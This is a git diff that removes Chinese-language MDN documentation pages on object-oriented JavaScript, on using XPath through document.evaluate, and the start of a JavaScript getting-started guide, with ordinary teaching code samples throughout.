- -
-

注意:需要认识到重要的一点是:与其他面向对象编程语言不同的是,Javascript中的普通对象和命名空间在语言层面上没有区别。这点可能会让JavaScript初学者感到迷惑。

-
- -

创造的JavaScript命名空间背后的想法很简单:一个全局对象被创建,所有的变量,方法和功能成为该对象的属性。使用命名空间也最大程度地减少应用程序的名称冲突的可能性。

- -

我们来创建一个全局变量叫做 MYAPP

- -
// 全局命名空间
-var MYAPP = MYAPP || {};
- -

在上面的代码示例中,我们首先检查MYAPP是否已经被定义(是否在同一文件中或在另一文件)。如果是的话,那么使用现有的MYAPP全局对象,否则,创建一个名为MYAPP的空对象用来封装方法,函数,变量和对象。

- -

我们也可以创建子命名空间:

- -
// 子命名空间
-MYAPP.event = {};
- -

下面是用于创建命名空间和添加变量,函数和方法的代码写法:

- -
// 给普通方法和属性创建一个叫做MYAPP.commonMethod的容器
-MYAPP.commonMethod = {
-  regExForName: "", // 定义名字的正则验证
-  regExForPhone: "", // 定义电话的正则验证
-  validateName: function(name){
-    // 对名字name做些操作,你可以通过使用“this.regExForname”
-    // 访问regExForName变量
-  },
-
-  validatePhoneNo: function(phoneNo){
-    // 对电话号码做操作
-  }
-}
-
-// 对象和方法一起申明
-MYAPP.event = {
-    addListener: function(el, type, fn) {
-    //  代码
-    },
-   removeListener: function(el, type, fn) {
-    // 代码
-   },
-   getEvent: function(e) {
-   // 代码
-   }
-
-   // 还可以添加其他的属性和方法
-}
-
-//使用addListener方法的写法:
-MYAPP.event.addListener("yourel", "type", callback);
- -

标准内置对象

- -

JavaScript有包括在其核心的几个对象,例如,Math,Object,Array和String对象。下面的例子演示了如何使用Math对象的random()方法来获得一个随机数。

- -
console.log(Math.random());
-
- -
注意:这里和接下来的例子都假设名为 console.log 的方法全局有定义。console.log 实际上不是 JavaScript 自带的。
- -

查看 JavaScript 参考:全局对象 了解 JavaScript 内置对象的列表。

- -

JavaScript 中的每个对象都是 Object 对象的实例且继承它所有的属性和方法。

- -

自定义对象

- -

- -

JavaScript是一种基于原型的语言,它没类的声明语句,比如C+ +或Java中用的。这有时会对习惯使用有类申明语句语言的程序员产生困扰。相反,JavaScript可用方法作类。定义一个类跟定义一个函数一样简单。在下面的例子中,我们定义了一个新类Person。

- -
function Person() { }
-// 或
-var Person = function(){ }
-
- -

对象(类的实例)

- -

我们使用 new obj 创建对象 obj 的新实例, 将结果(obj 类型赋值给一个变量方便稍后调用。

- -

在下面的示例中,我们定义了一个名为Person的类,然后我们创建了两个Person的实例(person1 and person2).

- -
function Person() { }
-var person1 = new Person();
-var person2 = new Person();
-
- -
注意:有一种新增的创建未初始化实例的实例化方法,请参考 Object.create
- -

构造器

- -

在实例化时构造器被调用 (也就是对象实例被创建时)。构造器是对象中的一个方法。 在JavaScript中函数就可以作为构造器使用,因此不需要特别地定义一个构造器方法,每个声明的函数都可以在实例化后被调用执行。

- -

构造器常用于给对象的属性赋值或者为调用函数做准备。 在本文的后面描述了类中方法既可以在定义时添加,也可以在使用前添加。

- -

在下面的示例中, Person类实例化时构造器调用一个 alert函数。

- -
function Person() {
-  alert('Person instantiated');
-}
-
-var person1 = new Person();
-var person2 = new Person();
-
- -

属性 (对象属性)

- -

属性就是 类中包含的变量;每一个对象实例有若干个属性. 为了正确的继承,属性应该被定义在类的原型属性 (函数)中。

- -

可以使用 关键字 this调用类中的属性, this是对当前对象的引用。 从外部存取(读/写)其属性的语法是: InstanceName.Property; 这与C++,Java或者许多其他语言中的语法是一样的 (在类中语法 this.Property 常用于set和get属性值)

- -

在下面的示例中,我们为定义Person类定义了一个属性 firstName 并在实例化时赋初值。

- -
function Person(firstName) {
-  this.firstName = firstName;
-  alert('Person instantiated');
-}
-
-var person1 = new Person('Alice');
-var person2 = new Person('Bob');
-
-// Show the firstName properties of the objects
-alert('person1 is ' + person1.firstName); // alerts "person1 is Alice"
-alert('person2 is ' + person2.firstName); // alerts "person2 is Bob"
-
- -

方法(对象属性)

- -

方法与属性很相似, 不同的是:一个是函数,另一个可以被定义为函数。 调用方法很像存取一个属性,  不同的是add () 在方法名后面很可能带着参数. 为定义一个方法, 需要将一个函数赋值给类的 prototype 属性; 这个赋值给函数的名称就是用来给对象在外部调用它使用的。

- -

在下面的示例中,我们给Person类定义了方法 sayHello(),并调用了它.

- -
function Person(firstName) {
-  this.firstName = firstName;
-}
-
-Person.prototype.sayHello = function() {
-  alert("Hello, I'm " + this.firstName);
-};
-
-var person1 = new Person("Alice");
-var person2 = new Person("Bob");
-
-// call the Person sayHello method.
-person1.sayHello(); // alerts "Hello, I'm Alice"
-person2.sayHello(); // alerts "Hello, I'm Bob"
-
- -

在JavaScript中方法通常是一个绑定到对象中的普通函数, 这意味着方法可以在其所在context之外被调用。 思考下面示例中的代码:

- -
function Person(firstName) {
-  this.firstName = firstName;
-}
-
-Person.prototype.sayHello = function() {
-  alert("Hello, I'm " + this.firstName);
-};
-
-var person1 = new Person("Alice");
-var person2 = new Person("Bob");
-var helloFunction = person1.sayHello;
-
-person1.sayHello();                                 // alerts "Hello, I'm Alice"
-person2.sayHello();                                 // alerts "Hello, I'm Bob"
-helloFunction();                                    // alerts "Hello, I'm undefined" (or fails
-                                                    // with a TypeError in strict mode)
-console.log(helloFunction === person1.sayHello);          // logs true
-console.log(helloFunction === Person.prototype.sayHello); // logs true
-helloFunction.call(person1);                        // logs "Hello, I'm Alice"
-
- -

如上例所示, 所有指向sayHello函数的引用 ,包括 person1, Person.prototype, 和 helloFunction 等, 均引用了相同的函数.

- -

在调用函数的过程中,this的值取决于我们怎么样调用函数.  在通常情况下,我们通过一个表达式person1.sayHello()来调用函数:即从一个对象的属性中得到所调用的函数。此时this被设置为我们取得函数的对象(即person1)。这就是为什么person1.sayHello() 使用了姓名“Alice”而person2.sayHello()使用了姓名“bob”的原因。 

- -

然而我们使用不同的调用方法时, this的值也就不同了。当从变量 helloFunction()中调用的时候, this就被设置成了全局对象 (在浏览器中即window)。由于该对象 (非常可能地) 没有firstName 属性, 我们得到的结果便是"Hello, I'm undefined". (这是松散模式下的结果, 在 严格模式中,结果将不同(此时会产生一个error)。 但是为了避免混淆,我们在这里不涉及细节) 。另外,我们可以像上例末尾那样,使用Function#call (或者Function#apply)显式的设置this的值。

- -
更多有关信息请参考 Function#call and Function#apply
- -

继承

- -

创建一个或多个类的专门版本类方式称为继承(Javascript只支持单继承)。 创建的专门版本的类通常叫做子类,另外的类通常叫做父类。 在Javascript中,继承通过赋予子类一个父类的实例并专门化子类来实现。在现代浏览器中你可以使用 Object.create 实现继承.

- -
-

JavaScript 并不检测子类的 prototype.constructor (见 Object.prototype), 所以我们必须手动申明它.

-
- -

在下面的例子中, 我们定义了 Student类作为 Person类的子类. 之后我们重定义了sayHello() 方法并添加了 sayGoodBye() 方法.

- -
// 定义Person构造器
-function Person(firstName) {
-  this.firstName = firstName;
-}
-
-// 在Person.prototype中加入方法
-Person.prototype.walk = function(){
-  alert("I am walking!");
-};
-Person.prototype.sayHello = function(){
-  alert("Hello, I'm " + this.firstName);
-};
-
-// 定义Student构造器
-function Student(firstName, subject) {
-  // 调用父类构造器, 确保(使用Function#call)"this" 在调用过程中设置正确
-  Person.call(this, firstName);
-
-  // 初始化Student类特有属性
-  this.subject = subject;
-};
-
-// 建立一个由Person.prototype继承而来的Student.prototype对象.
-// 注意: 常见的错误是使用 "new Person()"来建立Student.prototype.
-// 这样做的错误之处有很多, 最重要的一点是我们在实例化时
-// 不能赋予Person类任何的FirstName参数
-// 调用Person的正确位置如下,我们从Student中来调用它
-Student.prototype = Object.create(Person.prototype); // See note below
-
-// 设置"constructor" 属性指向Student
-Student.prototype.constructor = Student;
-
-// 更换"sayHello" 方法
-Student.prototype.sayHello = function(){
-  console.log("Hello, I'm " + this.firstName + ". I'm studying " + this.subject + ".");
-};
-
-// 加入"sayGoodBye" 方法
-Student.prototype.sayGoodBye = function(){
-  console.log("Goodbye!");
-};
-
-// 测试实例:
-var student1 = new Student("Janet", "Applied Physics");
-student1.sayHello();   // "Hello, I'm Janet. I'm studying Applied Physics."
-student1.walk();       // "I am walking!"
-student1.sayGoodBye(); // "Goodbye!"
-
-// Check that instanceof works correctly
-console.log(student1 instanceof Person);  // true
-console.log(student1 instanceof Student); // true
-
- -

对于“Student.prototype = Object.create(Person.prototype);”这一行,在不支持 Object.create方法的老JavaScript引擎中,可以使用一个"polyfill"(又名"shim",查看文章链接),或者使用一个function来获得相同的返回值,就像下面:

- -
function createObject(proto) {
-    function ctor() { }
-    ctor.prototype = proto;
-    return new ctor();
-}
-
-// Usage:
-Student.prototype = createObject(Person.prototype);
-
- -
更多相关信息请参考 Object.create,连接中还有一个老JavaScript引擎的兼容方案(shim)。
- -

封装

- -

在上一个例子中,Student类虽然不需要知道Person类的walk()方法是如何实现的,但是仍然可以使用这个方法;Student类不需要明确地定义这个方法,除非我们想改变它。 这就叫做封装,对于所有继承自父类的方法,只需要在子类中定义那些你想改变的即可。

- -

抽象

- -

抽象是允许模拟工作问题中通用部分的一种机制。这可以通过继承(具体化)或组合来实现。
- JavaScript通过继承实现具体化,通过让类的实例是其他对象的属性值来实现组合。

- -

JavaScript Function 类继承自Object类(这是典型的具体化) 。Function.prototype的属性是一个Object实例(这是典型的组合)。

- -
var foo = function(){};
-console.log( 'foo is a Function: ' + (foo instanceof Function) );                  // logs "foo is a Function: true"
-console.log( 'foo.prototype is an Object: ' + (foo.prototype instanceof Object) ); // logs "foo.prototype is an Object: true"
- -

多态

- -

就像所有定义在原型属性内部的方法和属性一样,不同的类可以定义具有相同名称的方法;方法是作用于所在的类中。并且这仅在两个类不是父子关系时成立(继承链中,一个类不是继承自其他类)。

- -

注意

- -

本文中所展示的面向对象编程技术不是唯一的实现方式,在JavaScript中面向对象的实现是非常灵活的。

- -

同样的,文中展示的技术没有使用任何语言hacks,它们也没有模仿其他语言的对象理论实现。

- -

JavaScript中还有其他一些更加先进的面向对象技术,但这些都超出了本文的介绍范围。

- -

参考

- -
    -
  1. 维基百科。「面向对象程序设计」,http://zh.wikipedia.org/wiki/面向对象程序设计​
  2. -
  3. 维基百科。“Encapsulation (object-oriented programming)
  4. -
diff --git a/files/zh-cn/web/javascript/introduction_to_using_xpath_in_javascript/index.html b/files/zh-cn/web/javascript/introduction_to_using_xpath_in_javascript/index.html deleted file mode 100644 index cc4b806fa6..0000000000 --- a/files/zh-cn/web/javascript/introduction_to_using_xpath_in_javascript/index.html +++ /dev/null @@ -1,436 +0,0 @@ ---- -title: Introduction to using XPath in JavaScript -slug: Web/JavaScript/Introduction_to_using_XPath_in_JavaScript -tags: - - DOM - - Extensions - - Transforming_XML_with_XSLT - - Web Development - - XPath -translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript ---- -

该篇文档描述了如何在扩展和网站内部通过JavaScript调用 XPath 接口。 Mozilla 实现了相当多的 DOM 3 XPath,意味着 Xpath 表达式已经可以在 HTML 和 XML 文档中使用。

- -

使用 XPath 的主要接口是 document 对象的 evaluate 方法。

- -

document.evaluate

- -

此方法针对基于 XML 的文档(包括 HTML 文档)评估 XPath 表达式,并返回 XPathResult 对象,该对象可以是单个节点或一组节点。这个方法的现有文档位于 document.evaluate,但是对于我们现在的需求来说它相当稀疏;下面将给出更全面的研究。

- -
var xpathResult = document.evaluate( xpathExpression, contextNode, namespaceResolver, resultType, result );
-
- -

参数

- -

evaluate 函数共有五个参数:

- -
    -
  • -

    xpathExpression:包含要评估的 XPath 表达式的字符串.

    -
  • -
  • -

    contextNode:应评估 xpathExpression 的文档中的节点,包括其任何和所有子节点。document 节点是最常用的。

    -
  • -
  • -

    namespaceResolver:将传递包含在 xpathExpression 中的任何命名空间前缀的函数,它返回一个表示与该前缀关联的命名空间 URI 的字符串。这使得能够在 XPath 表达式中使用的前缀和文档中使用的可能不同的前缀之间进行转换。该转换函数可以是:

    - -
      -
    • -

      使用 XPathEvaluator 对象的 createNSResolver 方法创建

      -
    • -
    • -

      null。其可以用于 HTML 文档或者当不使用命名空间前缀时。注意,如果 xpathExpression 包含命名空间前缀,这将导致一个带有 NAMESPACE_ERR 的 DOMException 抛出。

      -
    • -
    • -

      用户定义的函数。有关详细信息,请参阅附录中的 使用一个用户定义的命名空间解析器 部分。

      -
    • -
    -
  • -
  • -

    resultType:指定作为评估结果返回的所需结果类型的常数。最常传递的常量是 XPathResult.ANY_TYPE,它将返回 XPath 表达式的结果作为最自然的类型。附录中有一个部分,其中包含可用常数的完整列表。它们在下面“指定返回类型”部分中进行解释。

    -
  • -
  • -

    result:如果指定了现有的 XPathResult 对象,它将被重用以返回结果。指定 null 将创建一个新的 XPathResult 对象。

    -
  • -
- -

返回值

- -

返回 xpathResult,它是 resultType 参数中指定的类型的 XPathResult 对象。XPathResult 在这里定义。

- -

实现默认的命名空间解析器

- -

我们使用 document 对象的 createNSResolver 方法创建一个命名空间解析器。

- -
var nsResolver = document.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement );
-
- -

Or alternatively by using the <code>createNSResolver</code> method of a <code>XPathEvaluator</code> object. <pre> var xpEvaluator = new XPathEvaluator(); var nsResolver = xpEvaluator.createNSResolver( contextNode.ownerDocument == null ? contextNode.documentElement : contextNode.ownerDocument.documentElement ); </pre>

- -

然后传递 document.evaluate,将 nsResolver 变量作为 namespaceResolver 参数。

- -

注意:XPath 定义不带前缀的 QNames,以仅匹配 null 命名空间中的元素。XPath 没有办法选择应用于常规元素引用的默认命名空间(例如,p[@id='_myid'] 对应于 xmlns='http://www.w3.org/1999/xhtml')。要匹配非命名空间中的默认元素,您必须使用如 [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_id']这种方法适用于命名空间未知的动态 XPath),或者使用前缀名测试,并创建一个命名空间解析器将前缀映射到命名空间。如果你想采取后一种方法,阅读更多关于如何创建一个用户定义的命名空间解析器

- -

注意

- -

适应任何 DOM 节点以解析命名空间,以便可以相对于文档中出现的节点的上下文轻松地评估 XPath 表达式。此适配器的工作方式类似于 DOM 级别 3 方法 lookupNamespaceURI 在解析 namespaceuRI 时节点的层次结构中的可用的当前信息的节点。也正确解析了隐式 xml 前缀。

- -

指定返回类型

- -

document.evaluate 返回的变量 xpathResult 可以由单个节点(简单类型)或节点集合(节点集类型)组成。

- -

简单类型

- -

resultType 中的所需结果类型指定为:

- -
    -
  • NUMBER_TYPE - a double
  • -
  • STRING_TYPE - a string
  • -
  • BOOLEAN_TYPE - a boolean
  • -
- -

我们通过分别访问 XPathResult 对象的以下属性来获取表达式的返回值。

- -
    -
  • numberValue
  • -
  • stringValue
  • -
  • booleanValue
  • -
- -
示例
- -

以下使用 XPath 表达式 count(//p) 来获取 HTML 文档中的 <p> 元素数:

- -
var paragraphCount = document.evaluate( 'count(//p)', document, null, XPathResult.ANY_TYPE, null );
-
-alert( 'This document contains ' + paragraphCount.numberValue + ' paragraph elements' );
-
- -

虽然 JavaScript 允许我们将数字转换为一个字符串进行显示,但 XPath 接口不会自动转换数字结果,如果 stringValue 属性被请求,所以下面的代码将工作:

- -
var paragraphCount = document.evaluate('count(//p)', document, null, XPathResult.ANY_TYPE, null );
-
-alert( 'This document contains ' + paragraphCount.stringValue + ' paragraph elements' );
-
- -

相反,它将返回一个带有 NS_DOM_TYPE_ERROR 的异常。

- -

节点集类型

- -

XPathResult 对象允许以 3 种主要不同类型返回节点集:

- - - -
Iterators
- -

resultType 参数中的指定结果类型为:

- -
    -
  • UNORDERED_NODE_ITERATOR_TYPE
  • -
  • ORDERED_NODE_ITERATOR_TYPE
  • -
- -

返回的 XPathResult 对象是一个匹配节点的节点集,它将作为迭代器,允许我们使用 XPathResultiterateNext() 方法访问包含的各个节点。

- -

一旦迭代完成所有的匹配节点,iterateNext() 将返回 null

- -

但请注意,如果在迭代过程中,文档发生突变(文档树被修改),将使迭代无效,并且 XPathResultinvalidIteratorState 属性设置为 true,抛出 NS_ERROR_DOM_INVALID_STATE_ERR 异常。

- -
Iterator Example
- -
var iterator = document.evaluate('//phoneNumber', documentNode, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null );
-
-try {
-  var thisNode = iterator.iterateNext();
-
-  while (thisNode) {
-    alert( thisNode.textContent );
-    thisNode = iterator.iterateNext();
-  }
-}
-catch (e) {
-  dump( 'Error: Document tree modified during iteration ' + e );
-}
-
- -
Snapshots
- -

resultType 参数中的指定结果类型为:

- -
    -
  • UNORDERED_NODE_SNAPSHOT_TYPE
  • -
  • ORDERED_NODE_SNAPSHOT_TYPE
  • -
- -

返回的 XPathResult 对象是一个匹配节点的静态节点集,这允许我们通过 XPathResult 对象的 snapshotItem(itemNumber) 方法访问每个节点,其中 itemNumber 是要检索的节点的索引。包含的节点总数可以通过 snapshotLength 属性访问。

- -

快照不随文档突变而改变,因此与迭代器不同,快照不会变得无效,但是它可能不对应于当前文档,例如节点可能已被移动,它可能包含不再存在的节点,或新节点可能已添加。

- -
Snapshot Example
- -
var nodesSnapshot = document.evaluate('//phoneNumber', documentNode, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null );
-
-for ( var i=0 ; i < nodesSnapshot.snapshotLength; i++ )
-{
-  dump( nodesSnapshot.snapshotItem(i).textContent );
-}
-
- -
First Node
- -

resultType 参数中的指定结果类型为:

- -
    -
  • ANY_UNORDERED_NODE_TYPE
  • -
  • FIRST_ORDERED_NODE_TYPE
  • -
- -

返回的 XPathResult 对象只是匹配 XPath 表达式的第一个找到的节点。这可以通过 XPathResult 对象的 singleNodeValue 属性访问。如果节点集为空,这将为 null

- -

请注意,对于无序子类型,返回的单个节点可能不是文档顺序中的第一个,但是对于有序子类型,保证以文档顺序获取第一个匹配的节点。

- -
First Node Example
- -
var firstPhoneNumber = document.evaluate('//phoneNumber', documentNode, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null );
-
-dump( 'The first phone number found is ' + firstPhoneNumber.singleNodeValue.textContent );
-
- -

ANY_TYPE 常量

- -

resultType 参数中的结果类型指定为 ANY_TYPE 时,返回的 XPathResult 对象将是由表达式求值自然产生的任何类型。

- -

它可以是任何简单类型(NUMBER_TYPESTRING_TYPEBOOLEAN_TYPE ),如果返回的结果类型是节点集,那么它将是一个 UNORDERED_NODE_ITERATOR_TYPE

- -

要在评估后确定类型,我们使用 XPathResult 对象的 resultType 属性。此属性的常量值在附录中定义。 None Yet =====Any_Type Example===== <pre> </pre>

- -

示例

- -

在 HTML 文档中

- -

以下代码旨在放置在要针对其评估 XPath 表达式的 HTML 文档中内嵌或外链的任何 JavaScript 片段中。

- -

要使用 XPath 提取 HTML 文档中的所有 <h2> 标题元素,xpathExpression 只是 //h2。其中,// 是递归下降运算符,在文档树中的任何位置将元素与 nodeName h2 相匹配。这个的完整代码是: link to introductory xpath doc

- -
var headings = document.evaluate('//h2', document, null, XPathResult.ANY_TYPE, null );
-
- -

请注意,由于 HTML 没有命名空间,因此我们为 namespaceResolver 参数传递了 null

- -

因为希望在整个文档中搜索标题,所以我们使用 document 对象本身作为 contextNode

- -

此表达式的结果是 XPathResult 对象。如果想知道返回的结果的类型,我们可以评估返回的对象的 resultType 属性。在这种情况下,这将评估为 4,即 UNORDERED_NODE_ITERATOR_TYPE。这是 XPath 表达式的结果是节点集时的默认返回类型。它一次提供对单个节点的访问,并且可能不以特定顺序返回节点。要访问返回的节点,我们使用返回对象的 iterateNext() 方法:

- -
var thisHeading = headings.iterateNext();
-
-var alertText = 'Level 2 headings in this document are:\n'
-
-while (thisHeading) {
-  alertText += thisHeading.textContent + '\n';
-  thisHeading = headings.iterateNext();
-}
-
- -

一旦迭代到一个节点,我们就可以访问该节点上的所有标准 DOM 接口。在遍历从表达式返回的所有 h2 元素之后,对 iterateNext() 的任何进一步调用都将返回 null 。

- -

针对扩展中的 XML 文档进行评估

- -

以下使用位于 chrome://yourextension/content/peopleDB.xml 的 XML 文档作为示例。

- -
<?xml version="1.0"?>
-<people xmlns:xul = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" >
-  <person>
-  <name first="george" last="bush" />
-  <address street="1600 pennsylvania avenue" city="washington" country="usa"/>
-  <phoneNumber>202-456-1111</phoneNumber>
-  </person>
-  <person>
-  <name first="tony" last="blair" />
-  <address street="10 downing street" city="london" country="uk"/>
-  <phoneNumber>020 7925 0918</phoneNumber>
-  </person>
-</people>
-
- -

为了使 XML 文档的内容在扩展中可用,我们创建一个 XMLHttpRequest 对象以同步加载文档,变量 xmlDoc 将包含该文档作为 XMLDocument 对象,我们可以使用 evaluate 方法。

- -

JavaScript用于扩展 xul/js 文档。

- -
var req = new XMLHttpRequest();
-
-req.open("GET", "chrome://yourextension/content/peopleDB.xml", false);
-req.send(null);
-
-var xmlDoc = req.responseXML;
-
-var nsResolver = xmlDoc.createNSResolver( xmlDoc.ownerDocument == null ? xmlDoc.documentElement : xmlDoc.ownerDocument.documentElement);
-
-var personIterator = xmlDoc.evaluate('//person', xmlDoc, nsResolver, XPathResult.ANY_TYPE, null );
-
- -

注意

- -

当未定义 XPathResult 对象时,可以使用 Components.interfaces.nsIDOMXPathResult.ANY_TYPE (CI.nsIDOMXPathResult) 在特权代码中检索常量。类似地,可以使用以下创建 XPathEvaluator:

- -
Components.classes["@mozilla.org/dom/xpath-evaluator;1"].createInstance(Components.interfaces.nsIDOMXPathEvaluator)
- -

附录

- -

实现用户定义的命名空间解析器

- -

这只是一个例子。此函数将需要从 xpathExpression 获取命名空间前缀,并返回与该前缀对应的 URI。例如,表达式:

- -
'//xhtml:td/mathml:math'
-
- -

将选择作为 (X)HTML 表数据单元元素的子项的所有 MathML 表达式。

- -

为了将使用命名空间 URI http://www.w3.org/1998/Math/MathMLmathml: 前缀和使用 URI http://www.w3.org/1999/xhtmlxhtml: 关联,我们提供了一个函数:

- -
function nsResolver(prefix) {
-  var ns = {
-    'xhtml' : 'http://www.w3.org/1999/xhtml',
-    'mathml': 'http://www.w3.org/1998/Math/MathML'
-  };
-  return ns[prefix] || null;
-}
-
- -

我们对 document.evaluate 的调用将如下所示:

- -
document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
-
- -

为 XML 文档实现默认命名空间

- -

如前面实现默认命名空间解析器中所述,默认解析器不处理 XML 文档的默认命名空间。 例如使用本文档:

- -
<?xml version="1.0" encoding="UTF-8"?>
-<feed xmlns="http://www.w3.org/2005/Atom">
-    <entry />
-    <entry />
-    <entry />
-</feed>
-
- -

doc.evaluate('//entry', doc, nsResolver, XPathResult.ANY_TYPE, null) 将返回一个空集,其中 nsResolver 是 createNSResolver 返回的解析器。传递一个 null 解析器再好不过了。

- -

一种可能的解决方法是创建一个自定义解析器,返回正确的默认命名空间(本例中为 Atom 命名空间)。请注意,您仍然必须在 XPath 表达式中使用一些命名空间前缀,以便解析器函数能够将其更改为所需的命名空间。例如:

- -
function resolver() {
-    return 'http://www.w3.org/2005/Atom';
-}
-doc.evaluate('//myns:entry', doc, resolver, XPathResult.ANY_TYPE, null)
-
- -

请注意,如果文档使用多个命名空间,则需要更复杂的解析器。

- -

下一节将介绍一种可能更好的方法(并允许不提前知道命名空间)。

- -

使用XPath函数引用具有默认命名空间的元素

- -

另一种匹配非空命名空间中的默认的元素的方法(以及对于动态 XPath 表达式很有效,其中命名空间可能未知),涉及使用如 [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_myid']。这避免了 XPath 查询无法检测到定期标记的元素上的默认命名空间的问题。

- -

获取特定的命名空间元素和属性,而不考虑前缀

- -

如果希望在命名空间(像预期的那样)中提供灵活性,当发现命名空间元素或属性时不一定需要使用特定的前缀,必须使用特殊技术。

- -

虽然可以修改上述部分中的方法来测试命名空间元素,而不管选择的前缀(使用 local-name() 结合 namespace-uri() 而不是 name()),但是会发生更具挑战性的情况,如果希望在谓词中获取具有特定命名空间属性的元素(假设在 XPath 1.0 中没有与实现无关的变量)。

- -

例如,可能尝试(不正确地)使用 namespaced 属性获取元素,如下所示: var xpathlink = someElements[local-name(@*)="href" and namespace-uri(@*)='http://www.w3.org/1999/xlink'];

- -

这可能会无意中抓取一些元素,如果它的一个属性存在,本地名称为 href,但它是一个不同的属性,有目标(XLink)命名空间(而不是 @href)。

- -

为了使用 XLink @href 属性(而不仅限于命名空间解析器中的预定义前缀)精确地抓取元素,可以按如下方式获取它们:

- -
var xpathEls = 'someElements[@*[local-name() = "href" and namespace-uri() = "http://www.w3.org/1999/xlink"]]'; // Grabs elements with any single attribute that has both the local name 'href' and the XLink namespace
-var thislevel = xml.evaluate(xpathEls, xml, null, XPathResult.ANY_TYPE, null);
-var thisitemEl = thislevel.iterateNext();
-
- -

XPathResult 定义的常量

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
结果类型定义的常数描述
ANY_TYPE0包含任何类型的结果集,从表达式的评估中自然地产生。注意,如果结果是节点集,则 UNORDERED_NODE_ITERATOR_TYPE 始终是结果类型。
NUMBER_TYPE1包含单个数字的结果。这非常有用,例如,在 XPath 表达式中使用 count() 函数。
STRING_TYPE2包含单个字符串的结果。
BOOLEAN_TYPE3包含单个布尔值的结果。这非常有用,例如,在 XPath 表达式中使用 not() 函数。
UNORDERED_NODE_ITERATOR_TYPE4包含与表达式匹配的所有节点的结果节点集。节点可能不一定与它们在文档中出现的顺序相同。
ORDERED_NODE_ITERATOR_TYPE5包含与表达式匹配的所有节点的结果节点集。结果集中的节点与文档中显示的节点顺序相同。
UNORDERED_NODE_SNAPSHOT_TYPE6包含与表达式匹配的所有节点的快照的结果节点集。节点可能不一定与它们在文档中出现的顺序相同。
ORDERED_NODE_SNAPSHOT_TYPE7包含与表达式匹配的所有节点的快照的结果节点集。结果集中的节点与文档中显示的节点顺序相同。
ANY_UNORDERED_NODE_TYPE8包含与表达式匹配的任何单个节点的结果节点集。该节点不一定是文档中与表达式匹配的第一个节点。
FIRST_ORDERED_NODE_TYPE9包含文档中与表达式匹配的第一个节点的结果节点集。
- -

参见

- - - -
-

Original Document Information

- -
    -
  • Based Upon Original Document Mozilla XPath Tutorial
  • -
  • Original Source Author: James Graham.
  • -
  • Other Contributors: James Thompson.
  • -
  • Last Updated Date: 2006-3-25.
  • -
-
- -

 

diff --git "a/files/zh-cn/web/javascript/javascript(\350\265\267\346\255\245)/index.html" "b/files/zh-cn/web/javascript/javascript(\350\265\267\346\255\245)/index.html" deleted file mode 100644 index b9cd157ec1..0000000000 --- "a/files/zh-cn/web/javascript/javascript(\350\265\267\346\255\245)/index.html" +++ /dev/null @@ -1,292 +0,0 @@ ---- -title: javascript(起步) -slug: Web/JavaScript/javascript(起步) -tags: - - bug-840092 ---- -

JavaScript是什么?

- -

作为一门计算机语言,JavaScript本身强大、复杂,且难于理解。但是,你可以用它来开发一系列的应用程序,它有巨大的潜力来改变当前的互联网现状。下面这个应用程序就是一个很好的例子:Google Maps

- -

JavaScript(通称为ECMAScript)最大的优势在于,它基于浏览器,但是通过浏览器的支持可以在不同平台上生产出相同结果。 本文举出的例子是 Google Maps,它几乎可以无差别的运行在 Linux、Windows和Mac OS系统中。 伴随大量JavaScript类库的出现,你现在可以用它很轻易的实现文档导航、DOM元素选择、创建动画、处理事件和开发AJAX应用。同其他因各种利益目的而推动的技术不同,JavaScript是一种真正免费并且被广泛采用的跨平台编程语言。

- -

你应该知道

- -

JavaScript是一种非常容易入门的编程语言。你只需要一个文本编辑器和web浏览器就可以开始进行学习。 

- -

在使用 JavaScript进行开发的过程中,可能还会涉及很多其他技术,这不在本文讨论的范围之内。 所以,不要期望在学习的第一天就能开发出一个类似 Google maps 这样的应用程序。

- -

起步

- -

JavaScript的起步非常简单。你不需要进行复杂的程序安装,不需要去了解如何使用shell、打包器或编译器。它是通过浏览器来展示的,你所需要做的全部事情就是把你的代码保存为文本文件,然后再浏览器中打开。就这么简单!

- -

JavaScript非常适合作为入门级的编程语言。它直观形象,并且教会学生认识到这是一个在实际生活中非常有用的工具。 对比C、C++和 Java等语言会发现有很大不同,它们只对那些专业的软件开发者来说是有价值的。

- -

浏览器兼容问题

- -

不同浏览器在功能实现上有很多不同之处。Mozilla, Microsoft IE, Apple Safari 和 Opera 在行为上有很多差异。 我们计划在此记录这些差异 documenting these variations。你可以使用各种跨平台的JavaScript API接口来解决这些兼容性问题。这些API隐藏了浏览器之间的各种差异,提供了通用性的功能函数来方便调用。

- -

如何运行示例

- -

下面的例子都有相同的代码。要执行它们有多种方法,如果你有自己的个人站点,你还可以在站点上把这些例子保存为新的页面。

- -

如果你没有自己的个人站点,你可以在电脑上把这些例子保存下来,并使用你自己的浏览器来执行它们。这就是JavaScript简单的地方,也是它适合做入门语言的原因。你不需要编译器或者开发环境,你只需要一个浏览器就可以开始起步了。

- -

举例:捕获一个鼠标单击事件

- -

事件处理 (事件类型、事件注册、冒泡等) 的细节是一个非常宽泛的话题,这个简单的例子并不能说明所有的问题。然而,如果我们不涉及JavaScript事件系统,我们就不能很好展示一个鼠标点击捕获的范例。你只需要记得例子里展示的只是JavaScrpt事件系统里非常表象的一些东西,如果你想要了解更多的内部细节,那你可以去查找更详细的相关资料。

- -

鼠标事件只是浏览器同用户交互过程中所产生的事件系统里的一个子集。下面列举了一些用户在交互过程中产生的具体的鼠标事件:

- -
    -
  • Click - 用户点击鼠标时触发
  • -
  • DblClick - 用户双击鼠标时触发
  • -
  • MouseDown - 用户按下鼠标键触发 (click事件前半部分)
  • -
  • MouseUp - 用户释放鼠标键触发 (click事件后半部分)
  • -
  • MouseOut - 当鼠标指针离开对象物理边界时触发
  • -
  • MouseOver - 当鼠标指针进入对象物理边界时触发
  • -
  • MouseMove -当鼠标指针在对象物理边界内移动时触发
  • -
  • ContextMenu - 用户点击鼠标右键时触发
  • -
- -
